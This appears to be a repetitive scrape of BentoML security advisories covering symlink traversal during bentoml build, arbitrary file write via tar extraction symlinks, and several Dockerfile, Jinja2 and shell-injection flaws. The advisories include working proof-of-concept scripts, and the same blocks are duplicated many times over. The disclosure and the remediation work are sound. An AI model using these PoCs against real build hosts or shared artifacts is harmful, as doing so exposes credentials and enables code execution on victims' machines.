Summary

BentoML's bentoml build packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact.

If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as loot.txt -> /tmp/outside-marker.txt or a link to a more sensitive local file. When bentoml build runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows.

Details

The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory:

for root, _, files in os.walk(ctx_path):
    for f in files:
        dir_path = os.path.relpath(root, ctx_path)
        path = os.path.join(dir_path, f).replace(os.sep, "/")
        if specs.includes(path):
            src_file = ctx_path.joinpath(path)
            dst_file = target_fs.joinpath(dest_path)
            shutil.copy(src_file, dst_file)

There is no validation that the resolved path of src_file remains inside ctx_path before shutil.copy dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from attacker-controlled repository content to developer/CI host filesystem during the build process.

This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact.

PoC

The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory.

mkdir -p /tmp/bento-symlink-poc
cd /tmp/bento-symlink-poc

printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt

cat > service.py <<'EOF'
import bentoml

@bentoml.service
class Demo:
    @bentoml.api
    def ping(self, x: str) -> str:
        return x
EOF

cat > bentofile.yaml <<'EOF'
service: "service:Demo"
include:
  - "service.py"
  - "loot.txt"
EOF

ln -s /tmp/outside-marker.txt loot.txt

bentoml build --output tag
bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip

mkdir -p /tmp/poc-unzip
unzip -o /tmp/poc.zip -d /tmp/poc-unzip
find /tmp/poc-unzip -name loot.txt -print
cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \
find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \;

• The script creates /tmp/outside-marker.txt outside the build context as a stand-in for a sensitive local file.
• It creates a minimal BentoML service and explicitly includes loot.txt in bentofile.yaml.
• It creates loot.txt as a symlink to the external marker file.

• It runs bentoml build, exports the generated Bento, unzips it, and reads the packaged src/loot.txt.
• Successful exploitation is confirmed when the packaged file contains BENTOML_SYMLINK_POC_123456, proving that BentoML copied the external file contents rather than keeping only the symlink.

Impact

An attacker who can cause a developer, release engineer, or CI system to run bentoml build on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact.

This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, a malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. This vulnerability is fixed in 1.4.39.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.

Summary

BentoML's bentoml build packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact.

If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as loot.txt -> /tmp/outside-marker.txt or a link to a more sensitive local file. When bentoml build runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows.

Details

The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory:

for root, _, files in os.walk(ctx_path):
    for f in files:
        dir_path = os.path.relpath(root, ctx_path)
        path = os.path.join(dir_path, f).replace(os.sep, "/")
        if specs.includes(path):
            src_file = ctx_path.joinpath(path)
            dst_file = target_fs.joinpath(dest_path)
            shutil.copy(src_file, dst_file)

There is no validation that the resolved path of src_file remains inside ctx_path before shutil.copy dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from attacker-controlled repository content to developer/CI host filesystem during the build process.

This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact.

PoC

The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory.

mkdir -p /tmp/bento-symlink-poc
cd /tmp/bento-symlink-poc

printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt

cat > service.py <<'EOF'
import bentoml

@bentoml.service
class Demo:
    @bentoml.api
    def ping(self, x: str) -> str:
        return x
EOF

cat > bentofile.yaml <<'EOF'
service: "service:Demo"
include:
  - "service.py"
  - "loot.txt"
EOF

ln -s /tmp/outside-marker.txt loot.txt

bentoml build --output tag
bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip

mkdir -p /tmp/poc-unzip
unzip -o /tmp/poc.zip -d /tmp/poc-unzip
find /tmp/poc-unzip -name loot.txt -print
cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \
find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \;

• The script creates /tmp/outside-marker.txt outside the build context as a stand-in for a sensitive local file.
• It creates a minimal BentoML service and explicitly includes loot.txt in bentofile.yaml.
• It creates loot.txt as a symlink to the external marker file.

• It runs bentoml build, exports the generated Bento, unzips it, and reads the packaged src/loot.txt.
• Successful exploitation is confirmed when the packaged file contains BENTOML_SYMLINK_POC_123456, proving that BentoML copied the external file contents rather than keeping only the symlink.

Impact

An attacker who can cause a developer, release engineer, or CI system to run bentoml build on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact.

This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, a malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. This vulnerability is fixed in 1.4.39.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38.

Summary

BentoML's bentoml build packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact.

If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as loot.txt -> /tmp/outside-marker.txt or a link to a more sensitive local file. When bentoml build runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows.

Details

The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory:

for root, _, files in os.walk(ctx_path):
    for f in files:
        dir_path = os.path.relpath(root, ctx_path)
        path = os.path.join(dir_path, f).replace(os.sep, "/")
        if specs.includes(path):
            src_file = ctx_path.joinpath(path)
            dst_file = target_fs.joinpath(dest_path)
            shutil.copy(src_file, dst_file)

There is no validation that the resolved path of src_file remains inside ctx_path before shutil.copy dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from attacker-controlled repository content to developer/CI host filesystem during the build process.

This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact.

PoC

The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory.

mkdir -p /tmp/bento-symlink-poc
cd /tmp/bento-symlink-poc

printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt

cat > service.py <<'EOF'
import bentoml

@bentoml.service
class Demo:
    @bentoml.api
    def ping(self, x: str) -> str:
        return x
EOF

cat > bentofile.yaml <<'EOF'
service: "service:Demo"
include:
  - "service.py"
  - "loot.txt"
EOF

ln -s /tmp/outside-marker.txt loot.txt

bentoml build --output tag
bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip

mkdir -p /tmp/poc-unzip
unzip -o /tmp/poc.zip -d /tmp/poc-unzip
find /tmp/poc-unzip -name loot.txt -print
cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \
find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \;

• The script creates /tmp/outside-marker.txt outside the build context as a stand-in for a sensitive local file.
• It creates a minimal BentoML service and explicitly includes loot.txt in bentofile.yaml.
• It creates loot.txt as a symlink to the external marker file.

• It runs bentoml build, exports the generated Bento, unzips it, and reads the packaged src/loot.txt.
• Successful exploitation is confirmed when the packaged file contains BENTOML_SYMLINK_POC_123456, proving that BentoML copied the external file contents rather than keeping only the symlink.

Impact

An attacker who can cause a developer, release engineer, or CI system to run bentoml build on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact.

This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, a malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. This vulnerability is fixed in 1.4.39.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.37, the docker.system_packages field in bentofile.yaml accepts arbitrary strings that are interpolated directly into Dockerfile RUN commands without sanitization. Since system_packages is semantically a list of OS package names (data), users do not expect values to be interpreted as shell commands. A malicious bentofile.yaml achieves arbitrary command execution during bentoml containerize / docker build. Version 1.4.37 fixes the issue.

Summary

BentoML's bentoml build packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact.

If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as loot.txt -> /tmp/outside-marker.txt or a link to a more sensitive local file. When bentoml build runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows.

Details

The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory:

for root, _, files in os.walk(ctx_path):
    for f in files:
        dir_path = os.path.relpath(root, ctx_path)
        path = os.path.join(dir_path, f).replace(os.sep, "/")
        if specs.includes(path):
            src_file = ctx_path.joinpath(path)
            dst_file = target_fs.joinpath(dest_path)
            shutil.copy(src_file, dst_file)

There is no validation that the resolved path of src_file remains inside ctx_path before shutil.copy dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from attacker-controlled repository content to developer/CI host filesystem during the build process.

This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact.

PoC

The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory.

mkdir -p /tmp/bento-symlink-poc
cd /tmp/bento-symlink-poc

printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt

cat > service.py <<'EOF'
import bentoml

@bentoml.service
class Demo:
    @bentoml.api
    def ping(self, x: str) -> str:
        return x
EOF

cat > bentofile.yaml <<'EOF'
service: "service:Demo"
include:
  - "service.py"
  - "loot.txt"
EOF

ln -s /tmp/outside-marker.txt loot.txt

bentoml build --output tag
bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip

mkdir -p /tmp/poc-unzip
unzip -o /tmp/poc.zip -d /tmp/poc-unzip
find /tmp/poc-unzip -name loot.txt -print
cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \
find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \;

• The script creates /tmp/outside-marker.txt outside the build context as a stand-in for a sensitive local file.
• It creates a minimal BentoML service and explicitly includes loot.txt in bentofile.yaml.
• It creates loot.txt as a symlink to the external marker file.

• It runs bentoml build, exports the generated Bento, unzips it, and reads the packaged src/loot.txt.
• Successful exploitation is confirmed when the packaged file contains BENTOML_SYMLINK_POC_123456, proving that BentoML copied the external file contents rather than keeping only the symlink.

Impact

An attacker who can cause a developer, release engineer, or CI system to run bentoml build on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact.

This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.

Arbitrary File Write via Symlink Path Traversal in Tar Extraction

Summary

The safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.

Affected Component

• File: src/bentoml/_internal/utils/filesystem.py:58-96
• Callers: src/bentoml/_internal/cloud/bento.py:542, src/bentoml/_internal/cloud/model.py:504
• Affected versions: All versions with safe_extract_tarfile()

Severity

CVSS 3.1: 8.1 (High) AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Vulnerability Details

Vulnerable Code (filesystem.py:58-96)

def safe_extract_tarfile(tar, destination):
    os.makedirs(destination, exist_ok=True)
    for member in tar.getmembers():
        fn = member.name
        path = os.path.abspath(os.path.join(destination, fn))
        if not Path(path).is_relative_to(destination):  # Line 64: INCOMPLETE
            continue  # Only checks member path, NOT symlink target
        if member.issym():
            tar._extract_member(member, path)  # Line 75: Creates symlink with UNVALIDATED target
        else:
            fp = tar.extractfile(member)
            with open(path, "wb") as destfp:  # Line 92: open() FOLLOWS symlinks
                shutil.copyfileobj(fp, destfp)

The Bug

1. Line 64: Path(path).is_relative_to(destination) checks the member's OWN path, not the symlink target
2. Line 75: tar._extract_member() creates symlink with unvalidated target (e.g., /etc)
3. Line 92: open(path, "wb") follows the symlink, writing OUTSIDE the destination

os.path.abspath() does NOT resolve symlinks (only . and ..). The path check passes because the string path appears within destination, but open() follows the symlink to the actual target.

Proof of Concept

import io, os, shutil, tarfile, tempfile
from pathlib import Path

def create_malicious_tar(target_dir, target_file, payload):
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode='w:gz') as tar:
        sym = tarfile.TarInfo(name='escape')
        sym.type = tarfile.SYMTYPE
        sym.linkname = target_dir
        tar.addfile(sym)
        info = tarfile.TarInfo(name=f'escape/{target_file}')
        info.size = len(payload)
        tar.addfile(info, io.BytesIO(payload))
    buf.seek(0)
    return buf

with tempfile.TemporaryDirectory() as tmpdir:
    extract_dir = os.path.join(tmpdir, 'extract')
    target_dir = os.path.join(tmpdir, 'outside')
    os.makedirs(target_dir)
    
    mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')
    tar = tarfile.open(fileobj=mal_tar, mode='r:gz')
    
    # Reproduce filesystem.py:58-96
    os.makedirs(extract_dir, exist_ok=True)
    for member in tar.getmembers():
        path = os.path.abspath(os.path.join(extract_dir, member.name))
        if not Path(path).is_relative_to(extract_dir): continue
        if member.issym():
            tar._extract_member(member, path)  # Symlink target NOT checked
        else:
            fp = tar.extractfile(member)
            os.makedirs(os.path.dirname(path), exist_ok=True)
            if fp:
                with open(path, 'wb') as destfp:  # Follows symlink!
                    shutil.copyfileobj(fp, destfp)
    
    assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))
    print(open(os.path.join(target_dir, 'pwned.txt')).read())  # PWNED

Impact

1. Arbitrary file overwrite via shared bentos

BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: ~/.bashrc, ~/.ssh/authorized_keys, crontabs, Python site-packages.

2. Remote code execution via file overwrite

Overwriting ~/.bashrc or Python packages achieves RCE.

3. BentoCloud deployments

safe_extract_tarfile() is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.

Remediation

Validate symlink targets:

if member.issym():
    target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))
    if not Path(target).is_relative_to(dest):
        logger.warning('Symlink %s points outside: %s', member.name, member.linkname)
        continue

Or use Python 3.12+ tar.extractall(filter='data').

References

• CWE-59: Improper Link Resolution Before File Access ('Link Following')
• CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, a malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. This vulnerability is fixed in 1.4.39.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.37, the docker.system_packages field in bentofile.yaml accepts arbitrary strings that are interpolated directly into Dockerfile RUN commands without sanitization. Since system_packages is semantically a list of OS package names (data), users do not expect values to be interpreted as shell commands. A malicious bentofile.yaml achieves arbitrary command execution during bentoml containerize / docker build. Version 1.4.37 fixes the issue.

Summary

BentoML's bentoml build packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact.

If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as loot.txt -> /tmp/outside-marker.txt or a link to a more sensitive local file. When bentoml build runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows.

Details

The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory:

for root, _, files in os.walk(ctx_path):
    for f in files:
        dir_path = os.path.relpath(root, ctx_path)
        path = os.path.join(dir_path, f).replace(os.sep, "/")
        if specs.includes(path):
            src_file = ctx_path.joinpath(path)
            dst_file = target_fs.joinpath(dest_path)
            shutil.copy(src_file, dst_file)

There is no validation that the resolved path of src_file remains inside ctx_path before shutil.copy dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from attacker-controlled repository content to developer/CI host filesystem during the build process.

This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact.

PoC

The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory.

mkdir -p /tmp/bento-symlink-poc
cd /tmp/bento-symlink-poc

printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt

cat > service.py <<'EOF'
import bentoml

@bentoml.service
class Demo:
    @bentoml.api
    def ping(self, x: str) -> str:
        return x
EOF

cat > bentofile.yaml <<'EOF'
service: "service:Demo"
include:
  - "service.py"
  - "loot.txt"
EOF

ln -s /tmp/outside-marker.txt loot.txt

bentoml build --output tag
bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip

mkdir -p /tmp/poc-unzip
unzip -o /tmp/poc.zip -d /tmp/poc-unzip
find /tmp/poc-unzip -name loot.txt -print
cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \
find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \;

• The script creates /tmp/outside-marker.txt outside the build context as a stand-in for a sensitive local file.
• It creates a minimal BentoML service and explicitly includes loot.txt in bentofile.yaml.
• It creates loot.txt as a symlink to the external marker file.

• It runs bentoml build, exports the generated Bento, unzips it, and reads the packaged src/loot.txt.
• Successful exploitation is confirmed when the packaged file contains BENTOML_SYMLINK_POC_123456, proving that BentoML copied the external file contents rather than keeping only the symlink.

Impact

An attacker who can cause a developer, release engineer, or CI system to run bentoml build on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact.

This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.

Arbitrary File Write via Symlink Path Traversal in Tar Extraction

Summary

The safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.

Affected Component

• File: src/bentoml/_internal/utils/filesystem.py:58-96
• Callers: src/bentoml/_internal/cloud/bento.py:542, src/bentoml/_internal/cloud/model.py:504
• Affected versions: All versions with safe_extract_tarfile()

Severity

CVSS 3.1: 8.1 (High) AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Vulnerability Details

Vulnerable Code (filesystem.py:58-96)

def safe_extract_tarfile(tar, destination):
    os.makedirs(destination, exist_ok=True)
    for member in tar.getmembers():
        fn = member.name
        path = os.path.abspath(os.path.join(destination, fn))
        if not Path(path).is_relative_to(destination):  # Line 64: INCOMPLETE
            continue  # Only checks member path, NOT symlink target
        if member.issym():
            tar._extract_member(member, path)  # Line 75: Creates symlink with UNVALIDATED target
        else:
            fp = tar.extractfile(member)
            with open(path, "wb") as destfp:  # Line 92: open() FOLLOWS symlinks
                shutil.copyfileobj(fp, destfp)

The Bug

1. Line 64: Path(path).is_relative_to(destination) checks the member's OWN path, not the symlink target
2. Line 75: tar._extract_member() creates symlink with unvalidated target (e.g., /etc)
3. Line 92: open(path, "wb") follows the symlink, writing OUTSIDE the destination

os.path.abspath() does NOT resolve symlinks (only . and ..). The path check passes because the string path appears within destination, but open() follows the symlink to the actual target.

Proof of Concept

import io, os, shutil, tarfile, tempfile
from pathlib import Path

def create_malicious_tar(target_dir, target_file, payload):
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode='w:gz') as tar:
        sym = tarfile.TarInfo(name='escape')
        sym.type = tarfile.SYMTYPE
        sym.linkname = target_dir
        tar.addfile(sym)
        info = tarfile.TarInfo(name=f'escape/{target_file}')
        info.size = len(payload)
        tar.addfile(info, io.BytesIO(payload))
    buf.seek(0)
    return buf

with tempfile.TemporaryDirectory() as tmpdir:
    extract_dir = os.path.join(tmpdir, 'extract')
    target_dir = os.path.join(tmpdir, 'outside')
    os.makedirs(target_dir)
    
    mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')
    tar = tarfile.open(fileobj=mal_tar, mode='r:gz')
    
    # Reproduce filesystem.py:58-96
    os.makedirs(extract_dir, exist_ok=True)
    for member in tar.getmembers():
        path = os.path.abspath(os.path.join(extract_dir, member.name))
        if not Path(path).is_relative_to(extract_dir): continue
        if member.issym():
            tar._extract_member(member, path)  # Symlink target NOT checked
        else:
            fp = tar.extractfile(member)
            os.makedirs(os.path.dirname(path), exist_ok=True)
            if fp:
                with open(path, 'wb') as destfp:  # Follows symlink!
                    shutil.copyfileobj(fp, destfp)
    
    assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))
    print(open(os.path.join(target_dir, 'pwned.txt')).read())  # PWNED

Impact

1. Arbitrary file overwrite via shared bentos

BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: ~/.bashrc, ~/.ssh/authorized_keys, crontabs, Python site-packages.

2. Remote code execution via file overwrite

Overwriting ~/.bashrc or Python packages achieves RCE.

3. BentoCloud deployments

safe_extract_tarfile() is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.

Remediation

Validate symlink targets:

if member.issym():
    target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))
    if not Path(target).is_relative_to(dest):
        logger.warning('Symlink %s points outside: %s', member.name, member.linkname)
        continue

Or use Python 3.12+ tar.extractall(filter='data').

References

• CWE-59: Improper Link Resolution Before File Access ('Link Following')
• CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, a malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. This vulnerability is fixed in 1.4.39.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.37, the docker.system_packages field in bentofile.yaml accepts arbitrary strings that are interpolated directly into Dockerfile RUN commands without sanitization. Since system_packages is semantically a list of OS package names (data), users do not expect values to be interpreted as shell commands. A malicious bentofile.yaml achieves arbitrary command execution during bentoml containerize / docker build. Version 1.4.37 fixes the issue.